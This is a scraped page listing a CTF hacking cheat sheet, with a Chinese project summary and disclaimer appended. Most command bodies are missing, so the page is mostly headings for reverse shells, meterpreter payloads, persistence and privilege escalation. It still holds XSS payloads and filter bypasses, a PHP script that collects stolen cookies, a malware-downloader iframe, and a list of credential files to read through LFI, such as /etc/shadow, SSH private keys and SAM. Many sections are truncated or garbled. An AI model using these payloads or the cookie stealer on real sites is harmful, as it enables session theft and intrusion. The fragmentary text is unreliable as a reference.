Hacking-and-CTF-Cheat-Sheet - CTF思路相关项目

项目说明

Hacking-and-CTF-Cheat-Sheet

This is my collection of Commands and Syntax for all utils i use when trying to hack CTF's challanges.

Enjoy

Hacking Cheat Sheet

Reconnaissance (Information Gathering)

cat file (view file contents)

Shell Shock run bind shell

Shell Shock reverse Shell

Scanning

AIO Scanners

Enumeration Open Ports

Pentesting Network

FTP Enumeration (21)

SSH (22):

If NMAP show "SSH Filtered" it means that port knocking is enable

SMTP Enumeration (25):

DNS (53)

Finger Enumeration (79):

Download script and run it with a wordlist:

Web Enumeration (80/443):

extra enumeration from hacktricks

if we get default apache page, try entering IP to HOSTS

Before dirbusting, try going to index.php or index.html to know which extention to look for

If A File is found

Sqlmap trick - if we have a login page, we can try admin:admin, catch that in burpsuite, save the full request to a file, run:

If we see in burpsuite php$url= we need to test for LFI (try /etc/passwrd)

if a page redirects to another, we can use burp to stop

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled.png

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled%201.png

kerberos (88):

Pop3 (110):

RPC (135)

RPCBind (111):

SMB\RPC Enumeration (139/445):

smb4k on Kali, useful Linux GUI for browsing SMB shares

SNMP Enumeration (161):

Oracle (1521):

LDAP (389)

JXplorer - an open source LDAP browser

MSSQL (1433)

Hunting for MSSQL | Offensi

Mysql Enumeration (3306):

Acti

MSSQL

Try using "Browse for More" via MS SQL Ser Studio

Enumeration / Discovery:

Nmap:

Metasploit:

Bruteforce MSSQL Login

Metasploit MSSQL Shell

Gaining Access

CyberChef

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Hash Analyzer

Cipher Identifier (online tool) | Boxentriq

Post Exploitation

Useful commands running locally on the Linux system To quickly analyze the system and possibly help to escalate pri

Scripts

Pri Escalation (alot of resources)

Linux pri escalation

Linux Pri Escalation CheatSheet for OSCP - ByteFellow

windows pri escalation

Windows Pri Escalation Cheatsheet for OSCP - ByteFellow

C0nd4/OSCP-Priv-Esc

Linux:

Find Binaries that will execute as the owner

Find binaries that will execute as the group

Find sticky-bit binaries

If Python is executable as root

Windows:

sc-check

Maintain Access

Wireless Penetration

Shells & Reverse Shells

SUID C Shells

TTY Shell:

Fully Interactive TTY

Spawn Ruby Shell

Netcat

Telnet Reverse Shell

PHP

Bash

Perl

Meterpreter (Metasploit) (cheet sheet)

Windows reverse meterpreter payload

Windows payload

Linux Reverse Meterpreter payload

Meterpreter Cheat Sheet

Meterpreter Payloads

Binaries

Web Payloads

Scripting Payloads

Shellcode

For all shellcode see ‘msfvenom –help-formats’ for information as to
valid parameters. Msfvenom will output code that is able to be cut and
pasted in this language for your exploits.

Handlers

Metasploit handlers can be great at quickly setting up Metasploit to
be in a position to receive your incoming shells. Handlers should be in
the following format.

An example is:

Powershell

Execution Bypass

Powershell.exe blocked

Persistence

Gather NTDS.dit file

SQLInjections

Common Injections for Login Forms:

Uploading Files to Target Machine

TFTP

FTP

CertUtil (download file from windows)

PHP

Python

HTTP: Powershell

HTTP: Linux

NetCat

Web Application

LFI (Local File Inclusion)

if we found an LFI, we can check each of those paths,

we can use burpsuite intruder to see all
Useful LFI files
Linux
/etc/passwd
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/home/user/.ssh/authorized_keys
/home/user/.ssh/id_rsa
/proc/[0-9]*/fd/[0-9]*
/proc/mounts
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/ser
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db
Apache
/etc/apache2/apache2.conf
/usr/local/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
Red Hat/CentOS/Fedora Linux -> /var/log/httpd/access_log
Debian/Ubuntu -> /var/log/apache2/access.log
FreeBSD -> /var/log/httpd-access.log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/apache2/access.log
/var/log/apache/error.log
MySQL
/var/lib/mysql/mysql/user.frm
/var/lib/mysql/mysql/user.MYD
/var/lib/mysql/mysql/user.MYI
Windows
/boot.ini
/autoexec.bat
/windows/system32/drivers/etc/hosts
/windows/repair/SAM
/windows/panther/unattended.xml
/windows/panther/unattend/unattended.xml
/windows/system32/license.rtf
/windows/system32/eula.txt

Situation

How to Test

LFI Payloads

XSS

Reflected

Simple test

This is a simple test to see what happens, this is not a prove that the field is vuln to xss

<plaintext>

Simple XSS test

<script>alert('Found')</script>

"><script>alert(Found)</script>">

<script>alert(String.fromCharCode(88,83,83))</script>

Bypass filter of tag script

" onload="alert(String.fromCharCode(88,83,83))

" onload="alert('XSS')

bla is not a valid image, so this cause an error

<img src='bla' onerror=alert("XSS")>

Persistent

>document.body.innerHTML="<style>body{:hidden;}</style><di=:;><h1>HACKED!</h1></div>";

PHP collector

> cookie.txtchmod 777 cookie.txt

edit a php page like colector.php as follow:

<?php $cookie=GET['cookie']; $useragent=$_SERVER['HTTP_USER_AGENT']; $file=fopen('cookie.txt', 'a'); fwrite($file,"USER AGENT:$useragent || COOKIE=$cookie\n"); fclose($file);
?>

Script to put in page:

<scritp>new Image().src="

Malware Donwloader via XSS

<iframe src=" height="0" width="0"></iframe>

How to play Mario with XSS

<iframe src=" width="100%" height="600"></iframe>

<input onfocus="document.body.innerHTML=atob('PGlmcmFtZSBzcmM9Imh0dHBzOi8yLXNtYjEpZ2h0PSI2MDAiPjw==')" autofocus>

XSS payloads

MySql Cheat Sheet

MySQL cheatsheet

MySQL Cheat Sheet

Misc

Linux file permissions

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled%202.png

Linux Cheat Sheet

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled%203.png

[]()

Hacking Cheat Sheets

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled%204.png

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled%205.png

sheet

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled%206.png

find cheat sheet

!Hacking%20Cheat%20Sheet%2053ddee9781a440ebbb8b3/Untitled%207.png

Simple Local Web Servers

Python local web ser, handy for serving up shells and exploits on an attacking machine.

Hash Examples

Likely just use hash-identifier for this but here are some example hashes:

Untitled

Text Manipulation

awk - command-line text manipulation dynamo

Sublime Text Editor

sed cheat sheet

!

Useful links

A cheat-sheet for password crackers

Penetration testing and webapp cheat sheets

The Ultimate List of SANS Cheat Sheets

[]()

[]()

coreb1t/awesome-pentest-cheat-sheets

Penetrating Testing/Assessment Workflow

0DAYsecurity.com - The fastest resource to a proacti

OSCP Ultimate CheatSheet - ByteFellow

Linux Pri Escalation CheatSheet for OSCP - ByteFellow

Windows Pri Escalation Cheatsheet for OSCP - ByteFellow

Cheat Sheet

CountablyInfinite/oscp_cheatsheet

OSCP: De a Methodology

Passing OSCP

swisskyrepo/PayloadsAllTheThings

[]()

项目信息

开发语言：Shell

Star 数：114

技术要点

该项目属于CTF思路方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕CTF思路相关项目展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。